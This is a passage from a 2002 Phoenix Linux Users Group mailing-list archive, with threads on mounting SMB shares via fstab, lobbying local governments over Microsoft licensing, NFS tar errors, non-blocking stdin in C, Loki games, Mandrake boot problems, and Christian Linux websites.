following > line in etc/fstab > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > When I try to mount the drive I get an error that says teh > special device > //mutt/d does not exist. I know the two can see eachother as > I can print to > the printer that is on mutt. > > Any help will be much appreciated. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 23:19:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 7 Jun 2002 18:19:42 -0500 (CDT) Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement In-Reply-To: Message-ID: If you want your government to stop using Microsoft Products now is the time to have your voice heard. It starts with local government. If you didnt know the State of Arizona budget is in the dumps, because all governments under them (read county and city) get large sums of money from the State they are hurting for money. It just so happens that this July is when most of the local governments start a new fiscal year, which means this June (now) they are ADOPTING budgets (planned spending) for the upcoming fiscal year. Many of them are faced with the choice on whether to renew Microsoft's 'Enterprise Agreement' stiff arm. I urge you to PLEASE PLEASE PLEASE contact your district council person (maricopa county) and your city council people and simply ask them. a. Do they plan to approve funding for the Enterprise Agreement? b. If they do plan to do so, please provide you with a copy of the agreement and the dollar amount to be expended. c. When they will be hearing from the public on the budget, so if they are adopting you can have your voice heard publicly. It may sound funny but I can speak from REAL experience if a council person gets as few as 10 requests that are similar a red flag will be raised and they will grill their technology departments on it. I have contacted the Town of Gilbert and Maricopa County already to recieve such information, I suggest others follow and use your power as a citizen to make a difference. We have no one to blame but ourselves if we dont start to take a stand. I dont have town information but county information is as follows: Map To Find Your Council Person http://www.maricopa.gov/county_glance/maps.asp?link=districtMap Council Contact Email Dist 1 Fulton Brock FBrock@mail.maricopa.gov Dist 2 Don Stapley DStapley@mail.maricopa.gov Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov Dist 4 Max Wilson mwwilson@mail.maricopa.gov Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov Also I would cc: the County Administrator and Deputy County Administrator CAO: David Smith DSmith@mail.maricopa.gov DCA: Sandi Wilson Swilson@mail.maricopa.gov -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 23:23:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 7 Jun 2002 18:23:37 -0500 (CDT) Subject: Request For Information: Microsoft Enterprise Agreement (fwd) Message-ID: FWIW here is town of Gilbert's response, this was returned in less than 5 minutes. I strongly urge anyone in Gilbert send similar requests and get the council's ears perked. -Derek ---------- Forwarded message ---------- Date: Fri, 7 Jun 2002 16:07:39 -0700 From: George Pettit To: "'derek@gnue.org'" Cc: Shawn Woolley Subject: RE: Request For Information: Microsoft Enterprise Agreement Dear Mr. Neighbors: I have forwarded your request regarding the Enterprise Agreement to Shawn Woolley our Technology Services Director. If the Agreement is signed, it is a public record, and therefore available to you. The budget will be heard at a public hearing on June 25, 2002 at 6:30 pm in the Council Chambers, 1025 S Gilbert Road as part of the Agenda that evening George Pettit Manager -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Friday, June 07, 2002 4:02 PM To: mayor@ci.gilbert.az.us; lesp@ci.gilbert.az.us; davec@ci.gilbert.az.us; larrym@ci.gilbert.az.us; davep@ci.gilbert.az.us; dons@ci.gilbert.az.us; steveu@ci.gilbert.az.us; georgep@ci.gilbert.az.us Subject: Request For Information: Microsoft Enterprise Agreement As a town of Gilbert citizen, taxpayer and technologist, I would like to gather more information about the technology of Gilbert. As is a suprise to no one the convicted monopolist from Redmond, Microsoft, has laid an edict that all Enterprise customers either sign long term agreements to renew software licenses or suffer undue penalties. I am under the assumption that the current operating system platform of choice for Gilbert is from Microsoft. I would like to know whether a provision has been made in the upcoming years fiscal budget to subsidize the procurement of such an 'Enterprise Agreement'. If so can I have the details as to what is included in the license (preferably a copy of the agreement) and the cost. Also, can you tell me the date that the budget will be adopted and when citizens can speak on it? Thank you, Derek Neighbors From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 00:20:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dallas Helquist) Date: 07 Jun 2002 18:20:39 -0600 Subject: fstab help In-Reply-To: <200206062342.26108.lists@chevy-lemonade.com> References: <200206062342.26108.lists@chevy-lemonade.com> Message-ID: <1023495639.351.6.camel@dhcp159.area31.viawest.net> The one thing I have always had to do is manually add an entry in the /etc/hosts file for the computer I wished to connect to. Some versions of smbmount don't like an IP address etc. -dallas On Fri, 2002-06-07 at 00:42, Tom Achtenberg wrote: > I'm trying to connect to a shared drive on an NT server named mutt on my > internal network from my RH7.3 box. I have the following line in etc/fstab > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > When I try to mount the drive I get an error that says teh special device > //mutt/d does not exist. I know the two can see eachother as I can print to > the printer that is on mutt. > > Any help will be much appreciated. > > -- > Don't trust the "Bow Tie" > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 01:48:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 7 Jun 2002 18:48:02 -0700 Subject: The word is out! In-Reply-To: <02060714474805.08309@nova.wedge.org> References: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> <02060714474805.08309@nova.wedge.org> Message-ID: <1023500882.3d0162525cbac@webmail.freedom2surf.net> Quoting Jim : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Want me to send it out to linuxtoday, slashdot, and newsforge or do you want > > to do that? > be my guest. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 07:11:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (steve) Date: 08 Jun 2002 00:11:56 -0700 Subject: NFS and tar Message-ID: <1023520322.3093.20.camel@tomahawk.lww.com> I am having some problems with my NFS setup that really got me scratching my head. I am guessing that it must be something with tar (across and NFS mount?) but I am not sure. First off, here are the basics: Linux Mandrake 8.2 on two systems (zippo and tomahawk) NFS server on zippo NFS mount on tomahawk fstab: zippo:/share/tomahawk_backup /u001/backup2zippo nfs bg,user 0 0 tomahawk: /u001/backup2zippo permissions/owner 777 root:root zippo: /share/tomahawk_backup permissions/owner 777 root:root (I know this is a big security hole that I plan to fix after I figure out what is going on) I can create a file on tomahawk and zippo as a user and as root I can successfully create a tar (on zippo) tar zcvf test.tgz /testdir/* tar is created however I get the following error: tar: Error exit delayed from previous errors I attempted to create a tar (on tomahawk) [user@tomahawk backup2zippo]# tar zcvf test.tgz /etc/* tar: Removing leading `/' from member names etc/adjtime etc/aliases etc/aliases.db tar (child): test.tgz: Cannot open: Operation not permitted tar (child): Error is not recoverable: exiting now etc/alternatives/ etc/alternatives/lib_cpp etc/alternatives/vi etc/alternatives/vim etc/alternatives/cpp etc/alternatives/ssh-askpass etc/alternatives/xinetd etc/alternatives/xvt Broken pipe Thanks for any insight someone can offer. Steve Phariss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 11:54:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 08 Jun 2002 04:54:19 -0700 Subject: peeking into stdin (programing question) Message-ID: <3D01F06B.29EEE225@leml.asu.edu> sorry for the simple programing question. I've done this before and spaced how. I need to check if there is input in the standard input in both C and C++. If there is then processit, otherwise keep on going. can someone hit me with a clue stick? EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 16:42:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dallas Helquist) Date: Fri, 7 Jun 2002 10:42:49 -0600 Subject: fstab help References: <200206062342.26108.lists@chevy-lemonade.com> Message-ID: <003401c20e42$7193b090$2a4457d8@w2k> Try taking the "file:" out, and make sure there is an entry in /etc/hosts for "mutt". Other than that, it looks fine. -dallas ----- Original Message ----- From: "Tom Achtenberg" To: Sent: Friday, June 07, 2002 12:42 AM Subject: fstab help > I'm trying to connect to a shared drive on an NT server named mutt on my > internal network from my RH7.3 box. I have the following line in etc/fstab > > file://mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > When I try to mount the drive I get an error that says teh special device > file://mutt/d does not exist. I know the two can see eachother as I can print to > the printer that is on mutt. > > Any help will be much appreciated. > > -- > Don't trust the "Bow Tie" > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 17:16:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sat, 8 Jun 2002 13:16:00 EDT Subject: peeking into stdin (programing question) Message-ID: <40.1ee18115.2a3395d0@aol.com> Not sure but try kbhit() returns true if something is waiting. if(kbhit()) { c=getch(); ... } From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 18:28:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Sat, 8 Jun 2002 11:28:50 -0700 (MST) Subject: peeking into stdin (programing question) In-Reply-To: <3D01F06B.29EEE225@leml.asu.edu> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Use select or poll (I prefer poll personally, but they both work) --Nick On Sat, 8 Jun 2002, John (EBo) David wrote: > > sorry for the simple programing question. I've done this before and > spaced how. > > I need to check if there is input in the standard input in both C and > C++. If there is then processit, otherwise keep on going. > > can someone hit me with a clue stick? > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE9Akzmv+hjYTGg7s4RAv1+AJ9ymD3CrDWON5WAgpPPieslfx4FTgCdHjvZ RnHDH/SKYxA72uXrVoj7Dvo= =B2GQ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 23:10:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sat, 8 Jun 2002 16:10:04 -0700 Subject: fstab help In-Reply-To: References: Message-ID: <200206081610.07182.lists@chevy-lemonade.com> //mutt/C$ /mnt/mutt_c smbfs auto,guid=,uid=,username=foo,password=bar 0 //mutt/D$ /mnt/mutt_d smbfs auto,guid=,uid=,username=foo,password=bar 0 These are the two lines from fstab In both cases I get the error "Could not resolve mount point /mnt/mutt_c" (or d). smbclient does indeed show the shares as C$ Disk Default share D$ Disk Default share On Friday 07 June 2002 03:27 pm, Jeffrey Pyne wrote: > Does it work if you mount the share 'by hand' (mount -t smbfs -o > username=foo,password=bar //mutt/d /mnt/mutt_d)? You show a "userid" > option in your fstab. Is that a typo? I believe that should be > "username." Do you have the smbfs module compiled (lsmod | grep smbfs)? > Is smbfs a valid fstype (grep smbfs /proc/filesystems)? Is the D:\ drive > on Mutt a hidden share? If so, try putting a $ after the remote filesystem > column in the fstab (//mutt/d$). Does smbclient -L mutt -U show > that Mutt has that share available? > > ~Jeff > > On Thursday, June 06, 2002 11:42 PM, Tom Achtenberg sent: > > I'm trying to connect to a shared drive on an NT server named > > mutt on my > > internal network from my RH7.3 box. I have the following > > line in etc/fstab > > > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > > > When I try to mount the drive I get an error that says teh > > special device > > //mutt/d does not exist. I know the two can see eachother as > > I can print to > > the printer that is on mutt. > > > > Any help will be much appreciated. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Don't trust the "Bow Tie" Chevrolet, the HEARTBREAK of America visit http://www.chevy-lemonade.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 8 23:21:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sat, 08 Jun 2002 16:21:13 -0700 Subject: fstab help References: <200206081610.07182.lists@chevy-lemonade.com> Message-ID: <3D029169.526EDFE0@qwest.net> do /mnt/mutt_c and mnt/mutt_d exist? The folders have to be their for them to be used as mount points. Tom Achtenberg wrote: > > //mutt/C$ /mnt/mutt_c smbfs auto,guid=,uid=,username=foo,password=bar 0 > //mutt/D$ /mnt/mutt_d smbfs auto,guid=,uid=,username=foo,password=bar 0 > > These are the two lines from fstab In both cases I get the error "Could not > resolve mount point /mnt/mutt_c" (or d). > > smbclient does indeed show the shares as > > C$ Disk Default share > D$ Disk Default share > > On Friday 07 June 2002 03:27 pm, Jeffrey Pyne wrote: > > Does it work if you mount the share 'by hand' (mount -t smbfs -o > > username=foo,password=bar //mutt/d /mnt/mutt_d)? You show a "userid" > > option in your fstab. Is that a typo? I believe that should be > > "username." Do you have the smbfs module compiled (lsmod | grep smbfs)? > > Is smbfs a valid fstype (grep smbfs /proc/filesystems)? Is the D:\ drive > > on Mutt a hidden share? If so, try putting a $ after the remote filesystem > > column in the fstab (//mutt/d$). Does smbclient -L mutt -U show > > that Mutt has that share available? > > > > ~Jeff > > > > On Thursday, June 06, 2002 11:42 PM, Tom Achtenberg sent: > > > I'm trying to connect to a shared drive on an NT server named > > > mutt on my > > > internal network from my RH7.3 box. I have the following > > > line in etc/fstab > > > > > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > > > > > When I try to mount the drive I get an error that says teh > > > special device > > > //mutt/d does not exist. I know the two can see eachother as > > > I can print to > > > the printer that is on mutt. > > > > > > Any help will be much appreciated. > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > Don't trust the "Bow Tie" > Chevrolet, the HEARTBREAK of America > visit http://www.chevy-lemonade.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 00:10:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 08 Jun 2002 17:10:09 -0700 Subject: peeking into stdin (programing question) References: Message-ID: <3D029CE1.C77FE110@leml.asu.edu> Nick Estes wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Use select or poll (I prefer poll personally, but they both work) ok... this works except I cannot see or read the character until I type a CR. How do I set stdin to be RAW (similar to ncursers cbreak)? I tried modifying the file descriptor with: if (-1 == fcntl(fileno(stdin), F_SETFL, O_NONBLOCK|O_NDELAY)) /* and tried it without delay */ return 1; and reopending stdin with: in = open ("/dev/stdin", O_RDONLY| O_NONBLOCK | O_NDELAY); but I'm still unable to get info back until I type a RETURN. EBo -- > > sorry for the simple programing question. I've done this before and > > spaced how. > > > > I need to check if there is input in the standard input in both C and > > C++. If there is then processit, otherwise keep on going. > > > > can someone hit me with a clue stick? From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 01:01:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Sat, 8 Jun 2002 18:01:35 -0700 (MST) Subject: peeking into stdin (programing question) In-Reply-To: <3D029CE1.C77FE110@leml.asu.edu> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 see termios(3) for setting it to raw mode; specifically the function cfmakeraw (same man page) is what you're looking for. --Nick On Sat, 8 Jun 2002, John (EBo) David wrote: > Nick Estes wrote: > > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Use select or poll (I prefer poll personally, but they both work) > > ok... this works except I cannot see or read the character until I type > a CR. How do I set stdin to be RAW (similar to ncursers cbreak)? > > I tried modifying the file descriptor with: > > if (-1 == fcntl(fileno(stdin), F_SETFL, O_NONBLOCK|O_NDELAY)) /* and > tried it without delay */ > return 1; > > and reopending stdin with: > > in = open ("/dev/stdin", O_RDONLY| O_NONBLOCK | O_NDELAY); > > but I'm still unable to get info back until I type a RETURN. > > EBo -- > > > > > sorry for the simple programing question. I've done this before and > > > spaced how. > > > > > > I need to check if there is input in the standard input in both C and > > > C++. If there is then processit, otherwise keep on going. > > > > > > can someone hit me with a clue stick? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE9Aqjyv+hjYTGg7s4RAg5GAJ9ifU8duRikeDpGTP1hiksRs9575gCeODZv FYV4QbFCpBN9DxyeJypg9Mo= =EO6O -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 01:23:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 08 Jun 2002 18:23:01 -0700 Subject: peeking into stdin (programing question) References: <40.1ee18115.2a3395d0@aol.com> Message-ID: <3D02ADF5.6D54E356@leml.asu.edu> Elburn@aol.com wrote: > > Not sure but try kbhit() returns true if something is waiting. > > if(kbhit()) > { > c=getch(); > ... > } I looked around and all I could find for kbit was a reference to it being expected as a define in Borland Builder. From this I'm guessing that it is a Win*'ism. ncurses cbreak() is close to what I'm looking for, but it mucked with the IO and I wanted to avoint that... I was able to get ncurses to work though. To compare timing diferences I'm going to try the cfmakeraw now...  EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 02:01:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sat, 8 Jun 2002 19:01:51 -0700 Subject: fstab help In-Reply-To: <3D029169.526EDFE0@qwest.net> References: <200206081610.07182.lists@chevy-lemonade.com> <3D029169.526EDFE0@qwest.net> Message-ID: <200206081901.53241.lists@chevy-lemonade.com> Thanks, that seems to have done the trick. Does anyone out there know the fstab line to connect to an i-bay on an e-smith server? The i-bay is named chow. On Saturday 08 June 2002 04:21 pm, Kevin Brown wrote: > do /mnt/mutt_c and mnt/mutt_d exist? The folders have to be their for them > to be used as mount points. > > Tom Achtenberg wrote: > > //mutt/C$ /mnt/mutt_c smbfs auto,guid=,uid=,username=foo,password=bar > > 0 //mutt/D$ /mnt/mutt_d smbfs > > auto,guid=,uid=,username=foo,password=bar 0 > > > > These are the two lines from fstab In both cases I get the error "Could > > not resolve mount point /mnt/mutt_c" (or d). > > > > smbclient does indeed show the shares as > > > > C$ Disk Default share > > D$ Disk Default share > > > > On Friday 07 June 2002 03:27 pm, Jeffrey Pyne wrote: > > > Does it work if you mount the share 'by hand' (mount -t smbfs -o > > > username=foo,password=bar //mutt/d /mnt/mutt_d)? You show a "userid" > > > option in your fstab. Is that a typo? I believe that should be > > > "username." Do you have the smbfs module compiled (lsmod | grep > > > smbfs)? Is smbfs a valid fstype (grep smbfs /proc/filesystems)? Is the > > > D:\ drive on Mutt a hidden share? If so, try putting a $ after the > > > remote filesystem column in the fstab (//mutt/d$). Does smbclient -L > > > mutt -U show that Mutt has that share available? > > > > > > ~Jeff > > > > > > On Thursday, June 06, 2002 11:42 PM, Tom Achtenberg sent: > > > > I'm trying to connect to a shared drive on an NT server named > > > > mutt on my > > > > internal network from my RH7.3 box. I have the following > > > > line in etc/fstab > > > > > > > > //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 > > > > > > > > When I try to mount the drive I get an error that says teh > > > > special device > > > > //mutt/d does not exist. I know the two can see eachother as > > > > I can print to > > > > the printer that is on mutt. > > > > > > > > Any help will be much appreciated. > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > > Don't trust the "Bow Tie" > > Chevrolet, the HEARTBREAK of America > > visit http://www.chevy-lemonade.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Don't trust the "Bow Tie" Chevrolet, the HEARTBREAK of America visit http://www.chevy-lemonade.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 03:13:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 08 Jun 2002 20:13:49 -0700 Subject: peeking into stdin (programing question) References: Message-ID: <3D02C7ED.4D6E8FA3@leml.asu.edu> Nick Estes wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > see termios(3) for setting it to raw mode; specifically the function > cfmakeraw (same man page) is what you're looking for. cool, thanks! got it mostly to work... I think the last bit I need to do is getting CR's to output (NL's work fine, but have been unable to get CR's or NL's converted to CR's). EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 05:07:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Sat, 8 Jun 2002 22:07:41 -0700 Subject: Loki Games Message-ID: <200206082207.45860.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 It's a little late now, but has anyone seen any loki games anywhere? I bought a few of them, but I want a couple others that are out there. Like The Sims, Railroad Tycoon (II?), and Kohan most importantly. Has anyone seen the games anywhere? Online or physical locations are great. I just really want the games!! nathan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9AuKhQ7yNnsYcupwRAtCuAJ0ZWLsImNBztqVS9rrljMHtpZjguwCfW24l NyyCrGraOLHggHa3cAbVXKo= =f05I -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 05:11:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sat, 8 Jun 2002 22:11:39 -0700 Subject: Loki Games In-Reply-To: <200206082207.45860.plug@the-arcanum.org> References: <200206082207.45860.plug@the-arcanum.org> Message-ID: <200206082211.43916.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Saturday 08 June 2002 22:07, Nathan England wrote: > It's a little late now, but has anyone seen any loki games anywhere? > I bought a few of them, but I want a couple others that are out there. Like > The Sims, Railroad Tycoon (II?), and Kohan most importantly. Has anyone > seen the games anywhere? tuxgames.com has Railroad Tycoon II and Kohan in stock. The Sims was some Windows emulation thing. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9AuOOpNoctRtUIRQRAoVHAKCDOaCS0iAp+SNdJvCTN/XAgitTEACeM+FD KTwqOVEX/XJ5j1xWmyU+S/k= =V46E -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 06:43:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Sat, 8 Jun 2002 23:43:27 -0700 (MST) Subject: peeking into stdin (programing question) In-Reply-To: <3D02C7ED.4D6E8FA3@leml.asu.edu> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > cool, thanks! got it mostly to work... I think the last bit I need to > do is getting CR's to output (NL's work fine, but have been unable to > get CR's or NL's converted to CR's). Poke around in the termios manpage a little more, there's settings for how you want CRs and LFs to work as well, might have what you're looking for. --Nick -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE9AvkTv+hjYTGg7s4RAht5AJ9d4uBVJPwae7V8vJ2UFuUj9UTCbgCfY3VO r+nJLlZQ55KcP1YiuuNlNG8= =yMd/ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 17:43:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (John Steele) Date: Sun, 09 Jun 2002 10:43:40 -0700 Subject: Problems booting into level 5 on MD8.2 Message-ID: <3D0393CC.80006@qwest.net> I have found a serious problem (with Mandrake?). I use LILO to dual boot into a win98 and MD8.2 OSs. Twice now I've had work going for a couple of days on the Win98 OS and have done a normal power shutdown WITH a data cd in my bootable CD drive (forgot). When I try to power on and launch Linux without taking this CD out first, I'm getting an error in booting where some of my /var/temp files are lost. My current status after the second time this has happened (the first time I just reloaded the MD8.2 OS and apps, but saved my /home directory data), I can boot successfully into level 3 (my default is level 5/KDE for myself as user). But when I try to "startx" I get an error/failure message that the "default Font" is not found. I checked the KFree86.0.log, as the screen message suggested and found that the file /var/tmp/server-0.xkm "could not be found. ?? I did a hard shutdown and re-launched MD8.2, and it went thru a file system auto-check, found the obvious (from a hard shutdown)problems in the MDL boot sector (fixed them) and no other errors. It still defaulted to level 3 start-up and I could still not "start". I did a normal shutdown using linuxconf from the level 3 commandline and I saw that the "X-Font sever" FAILED. Is there anyway I can reload KDE (if that is what is required) without reloading all of the OS and all of the applications??? I would like to auto boot to level 5. John Steele From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 17:46:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 9 Jun 2002 10:46:46 -0700 Subject: Linux for Christians Message-ID: <1023644806.3d039486f097c@webmail.freedom2surf.net> Looking for something else on Google I stumbled on to The Linux for Christians site! http://thelinuxlink.net/l4c/ Here's what it says: This is a very new site dedicated to the Christian use of one of my favorite OS's, Linux! What you will see here (provided you keep coming back) is a repository of information pertaining to, how to, and why to, use Linux as a Christian and in a Christian organization. And then there is: http://www.christianlinux.com/ I wonder if the LWN Penguin Gallery has their version of Tux wearing a crusifix! Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 18:15:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 9 Jun 2002 11:15:40 -0700 Subject: gentoo ... Message-ID: <20020609111540.5a11df0c.snoogans@qwest.net> Was wondering if someone would be willing to burn me a gentoo cd and bring it to the meeting on thursday, will reimburse for cd's :) Gentoo is something i've been reading up on and been wanting to try out for a bit now From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 18:13:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sun, 9 Jun 2002 11:13:25 -0700 Subject: Linux for Christians In-Reply-To: <1023644806.3d039486f097c@webmail.freedom2surf.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> Message-ID: <200206091113.25378.lists@chevy-lemonade.com> Don't know about the Crusifix, that's Catholic, but the Christianlinux.com site has him with a cross on his chest. On Sunday 09 June 2002 10:46 am, dennisk@sahuaro.f2s.com wrote: > Looking for something else on Google I stumbled on to The Linux for > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > This is a very new site dedicated to the Christian use of one of my > favorite OS's, Linux! What you will see here (provided you keep coming > back) is a repository of information pertaining to, how to, and why to, use > Linux as a Christian and in a Christian organization. > > And then there is: > > http://www.christianlinux.com/ > > I wonder if the LWN Penguin Gallery has their version of Tux wearing a > crusifix! > > Dennis > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Don't trust the "Bow Tie" Chevrolet, the HEARTBREAK of America visit http://www.chevy-lemonade.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 18:31:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Sun, 9 Jun 2002 11:31:12 -0700 Subject: Linux for Christians In-Reply-To: <1023644806.3d039486f097c@webmail.freedom2surf.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> Message-ID: <200206091131.19740.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sunday 09 June 2002 10:46, dennisk@sahuaro.f2s.com wrote: > Looking for something else on Google I stumbled on to The Linux for > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > This is a very new site dedicated to the Christian use of one of my > favorite OS's, Linux! What you will see here (provided you keep coming > back) is a repository of information 